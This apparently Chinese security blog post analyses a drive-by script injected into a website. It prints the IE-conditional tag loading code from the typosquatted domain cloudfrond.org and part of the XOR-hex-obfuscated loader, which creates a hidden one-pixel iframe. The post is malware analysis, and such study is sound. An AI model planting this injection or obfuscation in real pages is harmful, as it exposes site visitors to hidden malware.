我們團隊一直致力于研究網絡安全領域一些偏門的東西。對我們來說,每天挖掘新鮮的東西、了解攻擊者的思路,以及發現最新的技術趨勢是一件非常有意思的事。這也給了我們與大家分享的機會。
字母之差
當我們發現可疑Payload(攻擊負載)時,我們會嘗試去研究。也許在我們檢測的時候,他們并不會出現任何問題,但這并不代表他們沒有問題。
某網站下面發現的一個Payload,這是個極好的例子:
<!– [if IE]><script type="text/javascript" src="hxxp://cloudfrond.org/golden.phtml"></script> <![endif]–>
看起來沒問題吧?CloudFront是亞馬遜web的CDN服務,很好很安全……麻煩再仔細看看?好吧,CloudFrond≠CloudFront,一個字母之差,你就可能中招了。
分析Payload
現在讓我們來看看,該腳本到底加載了什么:
/*jskdljgdlkfjgdlkfg*/XJHNOs=print;rNjoDPv=String;RlH=rNjoDPv["fromCharCode"];crgLMK=parseInt;utO=function(a,b){return a.charAt(b);};var dOK='';var Glg='7d3d099208132cbb18d70636c524b94077a6e879d602dbfa0813ff71fd18bf53005c3a50932616ee71ad68bf114f9b6349e5431abc4509b7ad5e054778acbad4c34806e724b3eb7913224c745465249d8d6456f5b3442031ce9422be75f678e7b0c63fe25b3ad7a0c2935b2338079d55a1a972dafc0a1cfdf32f6151017843c3fba4e33a0c11517839376a3372772d557b98';var SUTbVRi='733b2ab628364cd076b5755fae4e9c281aca9319b45db58b6f82dc199e6ee17a0f5a1c75b80939d20ca5669f3270bb486d842273e07923d4cf2c696c16c7deb3bd0c63d1088dcc54312264487d5e49e07b207a5873a87d2b8f5cd181ca03294f089b6e230f52da53be966b2f297a330a4bb6afb3b15c954b76332b488da0a20766b9a9e0a23c1cbc7c856413a6be76669b1dbcd66acdb32aaa0d8f2bceafc65166dc84b91c8c652e79485c7575a56cd97c2cb91fa8b56e483f2c23dedf0aaf54cb5784902e6d68a16357823008e3300fd1b6d1b5c4b20d075309a66d667eb9a90e38d81448204db97e8d070a7d1c3012562e4b261ddb6729873cc415c4a90e431eabaf152c50b5';var w=0x0+0;for(var i=0;i<(Glg.length/2);i++){dOK+=RlH(crgLMK(utO(Glg,w)+utO(Glg,w+1),0x8+8)^crgLMK(utO(SUTbVRi,w)+utO(SUTbVRi,w+1),0x0F+1));w+=2;
以上其實是一個自定義編碼過的腳本,在你每次訪問時加載的內容都不同(算是一個視條件變化而變化的Payload)。
如果你用IE瀏覽器訪問的話,它就只更改變量,而你使用其他瀏覽器,或者帶著其他user-agent訪問的話,輸出就變得完全不可控了:
如果使用IE瀏覽器訪問得到的內容,我們能夠將其解碼。盡管其看起來非常可疑,但是我們并沒有發現惡意的payload部分,下面是我們截獲的流量包:
在這里,它使用一個像素的iframe框架加載了google的某個網頁,然后才加載它的下一個函數。
然而這個函數返回了一個404。我們猜測這個引用的函數已經變得不可用,或者黑客已經把它ban掉了。
在代碼里還看到兩個主函數:
1.建立iFrame
2.主payload里也用的同樣的編碼方式來隱藏iframe框架里的URL。